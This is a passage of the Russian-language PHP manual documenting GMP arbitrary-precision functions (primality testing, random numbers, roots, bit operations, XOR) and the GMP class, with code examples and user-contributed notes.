Объект GMP, целое число (int) или числовая строка (string).

repetitions

Допустимые значения аргумента repetitions лежат в диапазоне от 5 до 10 (по умолчанию 10); чем больше это число, тем меньше вероятность, что непростые числа пройдут этот тест и определятся, как "возможно простые".

Объект GMP, целое число (int) или числовая строка (string).

Возвращаемые значения

Если функция возвращает 0, num точно не является простым. Если возвращает 1, то num "возможно" простое. Если возвращает 2, то num точно простое.

Примеры

Пример #1 Пример использования gmp_prob_prime()

<?php
// по определению не является простым
echo gmp_prob_prime("6") . "\n";

// возможно простое
echo gmp_prob_prime("1111111111111111111") . "\n";

// по определению простое
echo gmp_prob_prime("11") . "\n";
?>

Результат выполнения данного примера:

0
1
2

User Contributed Notes

florin dot ciuica at yahoo dot com 26-Sep-2014 10:00
<?php
    $max = 2147483647;

    $primesFound = 0;
    $probablePrimes = 0;

    for ($x = 1; $x <= $max; $x++) {
        $primeStatus = gmp_prob_prime($x);
        if ($primeStatus == 1) {
            $probablePrimes++;
        } else if ($primeStatus == 2) {
            $primesFound++;
        }
    }
    echo "Total primes found: " . $primesFound . " between 1 and " . $max . ". Probable primes in this interval: " . $probablePrimes;
?>

Based on that the following results were obtained:

1 - 100000      - certain primes found: 9592,     probable: 0
1 - 1000000     - certain primes found: 78498,    probable: 0
1 - 10000000    - certain primes found: 78498,    probable: 586081
1 - 100000000   - certain primes found: 78498,    probable: 5682957
1 - 1000000000  - certain primes found: 78498,    probable: 50769036
1 - 2147483647  - certain primes found: 78498,    probable: 105019067


Random number

  • « gmp_prob_prime
  • gmp_random_range »
  • PHP Manual
  • GMP Функции
  • Random number

gmp_random_bits

(PHP 5 >= 5.6.3, PHP 7, PHP 8)

gmp_random_bits — Random number

Описание

gmp_random_bits(int $bits): GMP

Generate a random number. The number will be between 0 and 2$bits - 1.

bits must greater than 0, and the maximum value is restricted by available memory.

Предостережение

Функция не создаёт криптографически защищённые значения и не должна использоваться для криптографических целей или целей, требующих, чтобы возвращаемые значения были недоступны для разгадывания.

Если требуется криптографически безопасная случайная последовательность, Random\Randomizer может использоваться с движком Random\Engine\Secure. Для простых случаев использования функции random_int() и random_bytes() предоставляют удобный и безопасный API, поддерживаемый CSPRNG операционной системы.

Список параметров

bits

The number of bits to generate.

Возвращаемые значения

A random GMP number.

Ошибки

If bits is less than 1, a ValueError will be thrown.

Примеры

Пример #1 gmp_random_bits() example

<?php
$rand1 = gmp_random_bits(3); // random number from 0 to 7
$rand2 = gmp_random_bits(5); // random number from 0 to 31

echo gmp_strval($rand1) . "\n";
echo gmp_strval($rand2) . "\n";
?>

Результат выполнения данного примера:

3
15

User Contributed Notes

There are no user contributed notes for this page.


Get a uniformly selected integer

  • « gmp_random_bits
  • gmp_random_seed »
  • PHP Manual
  • GMP Функции
  • Get a uniformly selected integer

gmp_random_range

(PHP 5 >= 5.6.3, PHP 7, PHP 8)

gmp_random_range — Get a uniformly selected integer

Описание

gmp_random_range(GMP|int|string $min, GMP|int|string $max): GMP

Generate a random number. The number will be between min and max.

min and max can both be negative, but min must always be less than max.

Предостережение

Функция не создаёт криптографически защищённые значения и не должна использоваться для криптографических целей или целей, требующих, чтобы возвращаемые значения были недоступны для разгадывания.

Если требуется криптографически безопасная случайная последовательность, Random\Randomizer может использоваться с движком Random\Engine\Secure. Для простых случаев использования функции random_int() и random_bytes() предоставляют удобный и безопасный API, поддерживаемый CSPRNG операционной системы.

Список параметров

min

A GMP number representing the lower bound for the random number

max

A GMP number representing the upper bound for the random number

Возвращаемые значения

Returns a GMP object which contains a uniformly selected integer from the closed interval [min, max]. Both min and max are possible return values.

Ошибки

If max is less than min, a ValueError will be thrown.

Примеры

Пример #1 gmp_random_range() example

<?php
$rand1 = gmp_random_range(0, 100); // random number between 0 and 100
$rand2 = gmp_random_range(-100, -10); // random number between -100 and -10

echo gmp_strval($rand1) . "\n";
echo gmp_strval($rand2) . "\n";
?>

Результат выполнения данного примера:

42
-67

User Contributed Notes

There are no user contributed notes for this page.


Установить начальное состояние RNG

  • « gmp_random_range
  • gmp_random »
  • PHP Manual
  • GMP Функции
  • Установить начальное состояние RNG

gmp_random_seed

(PHP 7, PHP 8)

gmp_random_seed — Установить начальное состояние RNG

Описание

gmp_random_seed(GMP|int|string $seed): void

Список параметров

seed

Начальное состояние для функций gmp_random(),
gmp_random_bits() и
gmp_random_range().

Объект GMP, целое число (int) или числовая строка (string).

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Выбрасывает ValueError, если параметр seed указан некорректно.

Список изменений

Версия | Описание
8.0.0 | Если параметр seed указан некорректно, функция gmp_random_seed() теперь выбрасывает ValueError; ранее выдавалась ошибка уровня E_WARNING и возвращалось значение false.

Примеры

Пример #1 Пример использования gmp_random_seed()

<?php
// установка начального состояния
gmp_random_seed(100);

var_dump(gmp_strval(gmp_random(1)));

// изменим начальное состояние
gmp_random_seed(gmp_init(-100));

var_dump(gmp_strval(gmp_random_bits(10)));

// зададим некорректное начальное состояние
var_dump(gmp_random_seed('not a number'));

Результат выполнения данного примера:

string(20) "15370156633245019617"
string(3) "683"

Warning: gmp_random_seed(): Unable to convert variable to GMP - string is not an integer in %s on line %d
bool(false)

Смотрите также

  • gmp_init() - Создание GMP числа
  • gmp_random() - Случайное число
  • gmp_random_bits() - Random number
  • gmp_random_range() - Get a uniformly selected integer

User Contributed Notes

There are no user contributed notes for this page.


Случайное число

  • « gmp_random_seed
  • gmp_root »
  • PHP Manual
  • GMP Функции
  • Случайное число

gmp_random

(PHP 4 >= 4.0.4, PHP 5, PHP 7)

gmp_random — Случайное число

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.2.0 и была УДАЛЕНА в версии PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Описание

gmp_random(int $limiter = 20): GMP

Генерирует случайное число. Число будет лежать в пределах от нуля до (2 ** n) - 1, где n - это число, представляющее из себя произведение числа limiter и количества бит в лимбе (limb). Если число limiter отрицательное, то будет возвращён отрицательный результат.

Лимб (дословно конечность) - внутренний GMP механизм. Технически это часть числа, помещающаяся в одно машинное слово. Количество бит в нем может различаться в разных системах. В основном это либо 32, либо 64, но это не гарантируется.

Предостережение

Функция не создаёт криптографически защищённые значения и не должна использоваться для криптографических целей или целей, требующих, чтобы возвращаемые значения были недоступны для разгадывания.

Если требуется криптографически безопасная случайная последовательность, Random\Randomizer может использоваться с движком Random\Engine\Secure. Для простых случаев использования функции random_int() и random_bytes() предоставляют удобный и безопасный API, поддерживаемый CSPRNG операционной системы.

Список параметров

limiter

Ограничитель.

Объект GMP, целое число (int) или числовая строка (string).

Возвращаемые значения

Случайное GMP число.

Примеры

Пример #1 Пример использования gmp_random()

<?php
$rand1 = gmp_random(1); // случайное число от 0 до 1 * бит на лимб
$rand2 = gmp_random(2); // случайное число от 0 до 2 * бит на лимб

echo gmp_strval($rand1) . "\n";
echo gmp_strval($rand2) . "\n";
?>

Результат выполнения данного примера:

1915834968
8642564075890328087

User Contributed Notes

asphp at dsgml dot com 27-Mar-2016 03:48
Warning: Do not use this function.

Use gmp_random_bits() or gmp_random_range() instead.

The documentation and the code for this function do NOT match, and in any case this function is quite useless.


Извлечь корень степени N и вернуть его целую часть

  • « gmp_random
  • gmp_rootrem »
  • PHP Manual
  • GMP Функции
  • Извлечь корень степени N и вернуть его целую часть

gmp_root

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

gmp_root — Извлечь корень степени N и вернуть его целую часть

Описание

gmp_root(GMP|int|string $num, int $nth): GMP

Извлекает корень степени nth из num и возвращает целочисленную часть результата.

Список параметров

num

Объект GMP, целое число (int) или числовая строка (string).

nth

Положительное число степени корня num.

Возвращаемые значения

Целочисленную часть результата извлечения корня в виде GMP-числа.

User Contributed Notes

There are no user contributed notes for this page.


Извлечь корень степени N и вернуть его целую часть и остаток

  • « gmp_root
  • gmp_scan0 »
  • PHP Manual
  • GMP Функции
  • Извлечь корень степени N и вернуть его целую часть и остаток

gmp_rootrem

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

gmp_rootrem — Извлечь корень степени N и вернуть его целую часть и остаток

Описание

gmp_rootrem(GMP|int|string $num, int $nth): array

Извлекает корень степени nth из num, возвращает его целую часть и остаток (остаток вычисляется путём вычитания из первоначального числа целочисленного результата в степени nth).

Список параметров

num

Объект GMP, целое число (int) или числовая строка (string).

nth

Положительное число степени корня num.

Возвращаемые значения

Массив с двумя элементами, первый из которых равен целочисленной компоненте результата, а второй остатку. Оба элемента возвращаются в виде GMP-чисел.

User Contributed Notes

There are no user contributed notes for this page.


Поиск нуля в числе

  • « gmp_rootrem
  • gmp_scan1 »
  • PHP Manual
  • GMP Функции
  • Поиск нуля в числе

gmp_scan0

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_scan0 — Поиск нуля в числе

Описание

gmp_scan0(GMP|int|string $num1, int $start): int

Сканирует num1, начиная с бита start, пока не найдёт бит установленный в 0.

Список параметров

num1

Число для сканирования.

Объект GMP, целое число (int) или числовая строка (string).

start

Бит начала сканирования.

Возвращаемые значения

Возвращает индекс найденного бита в виде числа (int). Индексация начинается с нуля.

Примеры

Пример #1 Пример использования gmp_scan0()

<?php
// "0" бит найдёт на позиции 3. поиск начинается с 0
$s1 = gmp_init("10111", 2);
echo gmp_scan0($s1, 0) . "\n";

// "0" бит найдёт на позиции 7. поиск начинается с 5
$s2 = gmp_init("101110000", 2);
echo gmp_scan0($s2, 5) . "\n";
?>

Результат выполнения данного примера:

3
7

User Contributed Notes

There are no user contributed notes for this page.


Поиск единицы в числе

  • « gmp_scan0
  • gmp_setbit »
  • PHP Manual
  • GMP Функции
  • Поиск единицы в числе

gmp_scan1

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_scan1 — Поиск единицы в числе

Описание

gmp_scan1(GMP|int|string $num1, int $start): int

Сканирует num1, начиная с бита start, пока не найдёт бит установленный в 1.

Список параметров

num1

Сканируемое число.

Объект GMP, целое число (int) или числовая строка (string).

start

Бит начала поиска.

Возвращаемые значения

Возвращает индекс найденного бита в виде числа (int). Если таких нет, будет возвращено -1.

Примеры

Пример #1 Пример использования gmp_scan1()

<?php
// "1" бит найден в позиции 3. Поиск начинается с 0
$s1 = gmp_init("01000", 2);
echo gmp_scan1($s1, 0) . "\n";

// "1" бит найден в позиции 9. Поиск начинается с 5
$s2 = gmp_init("01000001111", 2);
echo gmp_scan1($s2, 5) . "\n";
?>

Результат выполнения данного примера:

3
9

User Contributed Notes

There are no user contributed notes for this page.


Установка бита

  • « gmp_scan1
  • gmp_sign »
  • PHP Manual
  • GMP Функции
  • Установка бита

gmp_setbit

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_setbit — Установка бита

Описание

gmp_setbit(GMP $num, int $index, bool $value = true): void

Устанавливает в 1 бит с индексом index в числе num.

Список параметров

num

Объект GMP.

index

Индекс устанавливаемого бита. Индекс 0 указывает на младший бит.

value

True для установки бита (установки в 1/включён); false для его очистки (установки в 0/выключен).

Возвращаемые значения

Объект класса GMP.

Примеры

Пример #1 Пример использования gmp_setbit() - 0 индекс

<?php
$a = gmp_init("2"); //
echo gmp_strval($a), ' -> 0b', gmp_strval($a, 2), "\n";
gmp_setbit($a, 0); // 0b10 now becomes 0b11
echo gmp_strval($a), ' -> 0b', gmp_strval($a, 2), "\n";
?>

Результат выполнения данного примера:

2 -> 0b10
3 -> 0b11

Пример #2 Пример использования gmp_setbit() - 1 индекс

<?php
$a = gmp_init("0xfd");
echo gmp_strval($a), ' -> 0b', gmp_strval($a, 2), "\n";
gmp_setbit($a, 1); // index starts at 0
echo gmp_strval($a), ' -> 0b', gmp_strval($a, 2), "\n";
?>

Результат выполнения данного примера:

253 -> 0b11111101
255 -> 0b11111111

Пример #3 Пример использования gmp_setbit() очистка бита

<?php
$a = gmp_init("0xff");
echo gmp_strval($a), ' -> 0b', gmp_strval($a, 2), "\n";
gmp_setbit($a, 0, false); // clear bit at index 0
echo gmp_strval($a), ' -> 0b', gmp_strval($a, 2), "\n";
?>

Результат выполнения данного примера:

255 -> 0b11111111
254 -> 0b11111110

Примечания

Замечание:

В отличие от большинства GMP функций, gmp_setbit() должна вызываться для уже существующего объекта GMP (например, созданного функцией gmp_init()). Число не будет создаваться автоматически.

Смотрите также

  • gmp_clrbit() - Сброс бита
  • gmp_testbit() - Проверка, установлен ли бит в 1

User Contributed Notes

bluej100@gmail 27-Jul-2007 09:07
The third parameter is somewhat confusingly named; it would probably be better described as "$set_state". If true, it sets the bit to 1. If false, it sets the bit to 0. Default is true.

<?php
$num = gmp_init(1);
gmp_setbit($num, 1);
echo 'gmp_setbit(1, 1): '.gmp_strval($num, 2)."\n"; // 11

$num = gmp_init(1);
gmp_setbit($num, 1, true);
echo 'gmp_setbit(1, 1, true): '.gmp_strval($num, 2)."\n"; // 11

$num = gmp_init(1);
gmp_setbit($num, 0, false);
echo 'gmp_setbit(1, 0, false): '.gmp_strval($num, 2)."\n"; // 0
?>


Знак числа

  • « gmp_setbit
  • gmp_sqrt »
  • PHP Manual
  • GMP Функции
  • Знак числа

gmp_sign

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_sign — Знак числа

Описание

gmp_sign(GMP|int|string $num): int

Проверяет знак числа.

Список параметров

num

Объект GMP, либо строка, содержащая число, которую можно преобразовать к типу int.

Возвращаемые значения

Возвращает 1, если num положительное; -1, если num отрицательное; и 0, если num равно нулю.

Примеры

Пример #1 Пример использования gmp_sign()

<?php
// положительное
echo gmp_sign("500") . "\n";

// отрицательное
echo gmp_sign("-500") . "\n";

// ноль
echo gmp_sign("0") . "\n";
?>

Результат выполнения данного примера:

1
-1
0

Смотрите также

  • gmp_abs() - Абсолютная величина
  • abs() - Абсолютное значение (модуль числа)

User Contributed Notes

Andrew Martin 18-Jul-2017 01:28
Using a spaceship in PHP7:

<?php
$sign = $number <=> 0;
?>
jdyerjdyer 18-Nov-2015 05:04
For conciseness or golfing ;)

$s=$n<0|-($n>0)

where $s sign is 1 if positive, -1 if negative, otherwise -0 or +0 which is still 0
Andrew Martin 03-Oct-2014 03:11
Another way for those without GMP:

<?php
function sign($number) {
    return $number / abs($number ?: 1);
}
?>
gri501r at yandex dot ru 19-Sep-2014 12:00
May be it's bug :
     gmp_sign(1) returns 'false'
krees 03-Apr-2014 10:37
You can also do this:
<?php
$sign = min(1, max(-1, $a));
?>
thomas at zilliox dot me 21-Oct-2011 03:11
Hi !

If you don't have the GMP extension, the sign function is really simple to code.
Here an example of implementation :

<?php
function sign( $number ) {
    return ( $number > 0 ) ? 1 : ( ( $number < 0 ) ? -1 : 0 );
}

echo sign( 500 ); // Return 1
echo sign( -500 ); // Return -1
echo sign( 0 ); // Return 0
?>

Thomas.


Вычисление квадратного корня

  • « gmp_sign
  • gmp_sqrtrem »
  • PHP Manual
  • GMP Функции
  • Вычисление квадратного корня

gmp_sqrt

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_sqrt — Вычисление квадратного корня

Описание

gmp_sqrt(GMP|int|string $num): GMP

Вычисляет квадратный корень числа num.

Список параметров

num

Объект GMP, целое число (int) или числовая строка (string).

Возвращаемые значения

Целая часть корня в виде GMP числа.

Примеры

Пример #1 Пример использования gmp_sqrt()

<?php
$sqrt1 = gmp_sqrt("9");
$sqrt2 = gmp_sqrt("7");
$sqrt3 = gmp_sqrt("1524157875019052100");

echo gmp_strval($sqrt1) . "\n";
echo gmp_strval($sqrt2) . "\n";
echo gmp_strval($sqrt3) . "\n";
?>

Результат выполнения данного примера:

3
2
1234567890

User Contributed Notes

There are no user contributed notes for this page.


Квадратный корень с остатком

  • « gmp_sqrt
  • gmp_strval »
  • PHP Manual
  • GMP Функции
  • Квадратный корень с остатком

gmp_sqrtrem

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_sqrtrem — Квадратный корень с остатком

Описание

gmp_sqrtrem(GMP|int|string $num): array

Вычисляет квадратный корень числа, с остатком.

Список параметров

num

Число, из которого извлекается корень.

Объект GMP, целое число (int) или числовая строка (string).

Возвращаемые значения

Возвращает массив, в котором первый элемент - целая часть корня из числа num, а второй - остаток (т.е. разность чисел num и квадрата первого элемента массива).

Примеры

Пример #1 Пример использования gmp_sqrtrem()

<?php
list($sqrt1, $sqrt1rem) = gmp_sqrtrem("9");
list($sqrt2, $sqrt2rem) = gmp_sqrtrem("7");
list($sqrt3, $sqrt3rem) = gmp_sqrtrem("1048576");

echo gmp_strval($sqrt1) . ", " . gmp_strval($sqrt1rem) . "\n";
echo gmp_strval($sqrt2) . ", " . gmp_strval($sqrt2rem) . "\n";
echo gmp_strval($sqrt3) . ", " . gmp_strval($sqrt3rem) . "\n";
?>

Результат выполнения данного примера:

3, 0
2, 3
1024, 0

User Contributed Notes

There are no user contributed notes for this page.


Преобразование GMP числа в строку

  • « gmp_sqrtrem
  • gmp_sub »
  • PHP Manual
  • GMP Функции
  • Преобразование GMP числа в строку

gmp_strval

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_strval — Преобразование GMP числа в строку

Описание

gmp_strval(GMP|int|string $num, int $base = 10): string

Преобразует GMP число в строку в системе счисления base. По умолчанию числа преобразуются в десятеричной системе счисления.

Список параметров

num

GMP число для конвертации.

Объект GMP, целое число (int) или числовая строка (string).

base

Система счисления возвращаемого числа. По умолчанию - 10. Возможные значения: от 2 до 62 и от -2 до -36.

Возвращаемые значения

Число в виде строки (string).

Примеры

Пример #1 Преобразование GMP числа в строку

<?php
$a = gmp_init("0x41682179fbf5");
printf("Десятичное: %s, 36-ричное: %s", gmp_strval($a), gmp_strval($a,36));
?>

User Contributed Notes

Anonymous 21-Jan-2020 07:18
casting to string seems to do the same (for base10) and it's much faster

(string) $num

instead of

gmp_strval($num)
Nitrogen 29-Nov-2015 11:56
It may be worth noting that using gmp_strval can slow your script down a lot with large numbers.

This script for example, produces factorials in succession:
<?php

$start = microtime(TRUE);

$fact = gmp_init(1, 10);
for($i=1;$i<100000;$i++) { // calculates 100,000 factorials
  $fact = gmp_mul($fact, $i); // $fact is now the result of the $ith factorial
  // gmp_strval($fact, 10); // see below...
  if(microtime(TRUE)-$start>1) // stop calculating after 1 second
    break;
}
// print whatever result that took 1 second to complete
printf("\$i = %d\n\$fact = %s\n", gmp_strval($fact, 10));

?>

My server calculates around about the 69,500th factorial on average every time. Uncommenting that gmp_strval line slows this process down dramatically, and only calculates about 5,000 factorials. This is about 14 times longer than before (this is consistent with allowing it to run for any number of seconds, not just 1).

Nitrogen.
russell dot s dot harper at gmail dot com 26-May-2010 10:22
A gotcha when using the value from gmp_strval as a key in an associative array. Some numbers are 2^31 are converted to signed integer format, this is usually incorrect.

<?php

$a = gmp_init('2147483649'); // = 2^31 + 1
$b = gmp_init('3173604585'); // = 2^31 < $b < 2^32

$c = gmp_strval($a);
$d = gmp_strval($b);

$e = array($c => 'c', $d => 'd');

print '*** Expect '."\n";
print 'Array '."\n".'('."\n".'    ['.$c.'] => c'."\n".'    ['.$d.'] => d'."\n".')'."\n\n";
print '*** Actual '."\n";
print_r($e);

?>

Output:

*** Expect
Array
(
    [2147483649] => c
    [3173604585] => d
)

*** Actual
Array
(
    [-2147483647] => c
    [3173604585] => d
)

A workaround is to format as base 16 and append '0x' before using as a key.
php at richardneill dot org 19-Sep-2006 04:47
I think it's no longer necessary to worry about trailing nulls. This was fixed in Feb 2002 (see bug 10133)
caldwell at utm dot NoSpamPlease dot edu 22-Jul-2001 08:17
Warning: gmp_strval may return a null terminated string (e.g., gmp_strval(gmp_init(8)) has two characters. This is because gmp is built for speed, so uses estimates based on things it can get quickly, like the number of bits in N. So since 8 is a 4 bit number, it will be allocated ceil(log10(2^4))=ceil(4*0.30103....) = 2 characters. The gmp folks feel it is the caller's responsibility (in this case the PHP interface) to check whether or not all the characters were required.  PHP might have done this for us (and may in the future), but for now, you need to check (if it matters to you--it sure did in my program!).


Вычитание чисел

  • « gmp_strval
  • gmp_testbit »
  • PHP Manual
  • GMP Функции
  • Вычитание чисел

gmp_sub

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_sub — Вычитание чисел

Описание

gmp_sub(GMP|int|string $num1, GMP|int|string $num2): GMP

Вычитает число num2 из числа num1 и возвращает результат.

Список параметров

num1

Уменьшаемое.

Объект GMP, целое число (int) или числовая строка (string).

num2

Вычитаемое из числа num1.

Объект GMP, целое число (int) или числовая строка (string).

Возвращаемые значения

Объект класса GMP.

Примеры

Пример #1 Пример использования gmp_sub()

<?php
$sub = gmp_sub("281474976710656", "4294967296"); // 2^48 - 2^32
echo gmp_strval($sub) . "\n";
?>

Результат выполнения данного примера:

281470681743360

User Contributed Notes

There are no user contributed notes for this page.


Проверка, установлен ли бит в 1

  • « gmp_sub
  • gmp_xor »
  • PHP Manual
  • GMP Функции
  • Проверка, установлен ли бит в 1

gmp_testbit

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

gmp_testbit — Проверка, установлен ли бит в 1

Описание

gmp_testbit(GMP|int|string $num, int $index): bool

Проверяет, установлен ли заданный бит в 1.

Список параметров

num

Объект GMP, целое число (int) или числовая строка (string).

index

Проверяемый бит

Возвращаемые значения

Возвращает true, если бит установлен в num, иначе false.

Ошибки

Выбрасывается ошибка уровня E_WARNING, если index меньше нуля, и возвращается false.

Примеры

Пример #1 Пример использования gmp_testbit()

<?php
$n = gmp_init("1000000");
var_dump(gmp_testbit($n, 1));
gmp_setbit($n, 1);
var_dump(gmp_testbit($n, 1));
?>

Результат выполнения данного примера:

bool(false)
bool(true)

Смотрите также

  • gmp_setbit() - Установка бита
  • gmp_clrbit() - Сброс бита

User Contributed Notes

bluej100@gmail 19-Jul-2007 02:48
gmp_testbit will be very useful for my (over 64-bit) bitmask checking.

In the meantime, I think these are the best replacements.

Mostly full:

<?php
(gmp_scan1($a, $index) == $index)
?>

Mostly empty:

<?php
(gmp_scan0($a, $index) != $index)
?>

Still worst-case O(N), though.


Побитовое исключающее ИЛИ

  • « gmp_testbit
  • GMP »
  • PHP Manual
  • GMP Функции
  • Побитовое исключающее ИЛИ

gmp_xor

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_xor — Побитовое исключающее ИЛИ

Описание

gmp_xor(GMP|int|string $num1, GMP|int|string $num2): GMP

Вычисляет побитовое исключающее ИЛИ (XOR) двух GMP чисел.

Список параметров

num1

Объект GMP, целое число (int) или числовая строка (string).

num2

Объект GMP, целое число (int) или числовая строка (string).

Возвращаемые значения

Объект класса GMP.

Примеры

Пример #1 Пример использования gmp_xor()

<?php
$xor1 = gmp_init("1101101110011101", 2);
$xor2 = gmp_init("0110011001011001", 2);

$xor3 = gmp_xor($xor1, $xor2);

echo gmp_strval($xor3, 2) . "\n";
?>

Результат выполнения данного примера:

1011110111000100

User Contributed Notes

greenone 02-Jul-2008 12:26
here's a fast alternative to compute the xor-value of two bitstrings of an arbitrary (but same) length.

<?php
/**
 * xor-op for bitstrings of arbitrary length
 * bitstrings must have same length
 *
 * @param string $o1
 * @param string $o2
 * @return string
 */
function bitxor($o1, $o2) {
    $xorWidth = PHP_INT_SIZE*8;
    $o1 = str_split($o1, $xorWidth);
    $o2 = str_split($o2, $xorWidth);
    $res = '';
    $runs = count($o1);
    for($i=0;$i<$runs;$i++)
        $res .= decbin(bindec($o1[$i]) ^ bindec($o2[$i]));
    return $res;
}
?>
kimcbrowne at hotmail dot com 03-Oct-2005 07:48
To be unbreakable XOR encryption must have a key that is totally random and is never re-used.  If you use a key a second time, it can be broken.  This can be confirmed by reading the page at http://en.wikipedia.org/wiki/One-time_pad.

Although I am not an expert on cryptography, I understand that decyphering involves recognizing patterns and that it would be possible to decrypt code that was encoded using XOR with the same key if there were enough samples to examine.  Maintaining unique keys for each encryption at both encryption and decryption points to ensure 100 percent unbreakability has security problems of its own - where and how are the keys stored and how are they transmitted to the decryption points?
bukaj at bukaj dot net 28-Mar-2005 05:38
XOR encryption is an ultimate encryption algorithm. It can't be be broken. It is used to encrypt stealth submarine's orders. I cannot agree with "kid-sister" post below. If you use vast key (as long as encrypted message) which is random (space noise recorded on a cd), the encrypted message is also radnom - impossible to decrypt without key. Under those conditions, XOR is strongest encryption algorithm ever known.
patm at pureconnection dot net 07-Jan-2004 05:22
XOR encryption only works if the key is at liest the same size as the plaintext, and the key is perfectly random. And no, rand() is not perfectly random.
mikko at entris dot net 15-Jul-2002 02:33
The logical XOR can be used for encrypting data. Use resource A as your original text and resource B as the key. Be sure to use long enough key so that the key doesn't loop. Decryption works the same way, input encrypted text as res A and key as res B.


Класс GMP

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

Введение

Номер GMP. Эти объекты поддерживают перегрузку следующих операторов: арифметических, побитовых и сравнения.

Замечание:

Нет объектно-ориентированного интерфейса для управления объектами GMP. Для управления такими объектами рекомендованно использовать процедурный GMP API.

class GMP {
/* Методы */
public __construct(int|string $num = 0, int $base = 0)
public __serialize(): array
public __unserialize(array $data): void
}

Содержание

  • GMP::__construct — Create GMP number
  • GMP::__serialize — Сериализует объект GMP
  • GMP::__unserialize — Десериализует параметр data в объект GMP

User Contributed Notes

There are no user contributed notes for this page.


Create GMP number

  • « GMP
  • GMP::__serialize »
  • PHP Manual
  • GMP
  • Create GMP number

GMP::__construct

(PHP 8 >= 8.2.4)

GMP::__construct — Create GMP number

Описание

public GMP::__construct(int|string $num = 0, int $base = 0)

Creates a GMP number from an integer or string.

Список параметров

num

An integer or a string. The string representation can be decimal, hexadecimal or octal.

base

The base.

The base may vary from 2 to 62. If base is 0 (default value), the actual base is determined from the leading characters: if the first two characters are 0x or 0X, hexadecimal is assumed, if the first two characters are 0b or 0B, binary is assumed, otherwise if the first character is 0, octal is assumed, otherwise decimal is assumed. For bases up to 36, case is ignored; upper-case and lower-case letters have the same value. For bases 37 to 62, upper-case letter represent the usual 10 to 35 while lower-case letter represent 36 to 61.

Смотрите также

  • gmp_init() - Создание GMP числа

User Contributed Notes

There are no user contributed notes for this page.


Сериализует объект GMP

  • « GMP::__construct
  • GMP::__unserialize »
  • PHP Manual
  • GMP
  • Сериализует объект GMP

GMP::__serialize

(PHP 8 >= 8.1.0)

GMP::__serialize — Сериализует объект GMP

Описание

public GMP::__serialize(): array

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Десериализует параметр data в объект GMP

  • « GMP::__serialize
  • Math »
  • PHP Manual
  • GMP
  • Десериализует параметр data в объект GMP

GMP::__unserialize

(PHP 8 >= 8.1.0)

GMP::__unserialize — Десериализует параметр data в объект GMP

Описание

public GMP::__unserialize(array $data): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

data

Десериализуемое значение.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Математические функции

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Математические функции
    • abs — Абсолютное значение (модуль числа)
    • acos — Вычисляет арккосинус
    • acosh — Гиперболический арккосинус
    • asin — Вычисляет арксинус
    • asinh — Гиперболический арксинус
    • atan2 — Арктангенс двух переменных
    • atan — Вычисляет арктангенс
    • atanh — Вычисляет гиперболический арктангенс
    • base_convert — Преобразование числа между произвольными системами счисления
    • bindec — Двоичное в десятичное
    • ceil — Округляет дробь в большую сторону
    • cos — Косинус
    • cosh — Гиперболический косинус
    • decbin — Переводит число из десятичной системы счисления в двоичную
    • dechex — Переводит число из десятичной системы счисления в шестнадцатеричную
    • decoct — Переводит число из десятичной системы счисления в восьмеричную
    • deg2rad — Преобразует значение из градусов в радианы
    • exp — Вычисляет степень числа e
    • expm1 — Возвращает exp($num) - 1, рассчитанное таким образом, что результат точен, даже если значение number близко к нулю.
    • fdiv — Делит одно число на другое в соответствии с IEEE 754
    • floor — Округляет дробь в меньшую сторону
    • fmod — Возвращает дробный остаток от деления по модулю
    • hexdec — Переводит число из шестнадцатеричной системы счисления в десятичную
    • hypot — Рассчитывает длину гипотенузы прямоугольного треугольника
    • intdiv — Целочисленное деление
    • is_finite — Проверяет, является ли число с плавающей точкой допустимым конечным числом
    • is_infinite — Проверяет, является ли число с плавающей точкой бесконечным
    • is_nan — Проверяет, является ли число с плавающей точкой нечислом
    • log10 — Десятичный логарифм
    • log1p — Возвращает log(1 + number), рассчитанный так, что результат точен, даже если значение number близко к нулю
    • log — Натуральный логарифм
    • max — Возвращает наибольшее значение
    • min — Находит наименьшее значение
    • octdec — Переводит число из восьмеричной системы счисления в десятичную
    • pi — Возвращает число Пи
    • pow — Возведение в степень
    • rad2deg — Преобразует значение из радианов в градусы
    • round — Округляет число типа float
    • sin — Синус
    • sinh — Гиперболический синус
    • sqrt — Извлекает квадратный корень
    • tan — Тангенс
    • tanh — Гиперболический тангенс

User Contributed Notes

There are no user contributed notes for this page.


Введение

Данные функции работают с числами в диапазонах типов int и float. Для работы с большими числами обратите внимание на раздел математических функций произвольной точности или функций множественной точности GNU.

Смотрите также

  • Арифметические операторы
  • Математические функции произвольной точности
  • Функции множественной точности GNU

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы всегда доступны как часть ядра PHP.

Математические константы
Константа | Значение | Описание | Доступна с версии
M_PI | 3.14159265358979323846 | число Пи |
M_E | 2.7182818284590452354 | число Эйлера (e) |
M_LOG2E | 1.4426950408889634074 | log_2 e |
M_LOG10E | 0.43429448190325182765 | lg e |
M_LN2 | 0.69314718055994530942 | ln 2 |
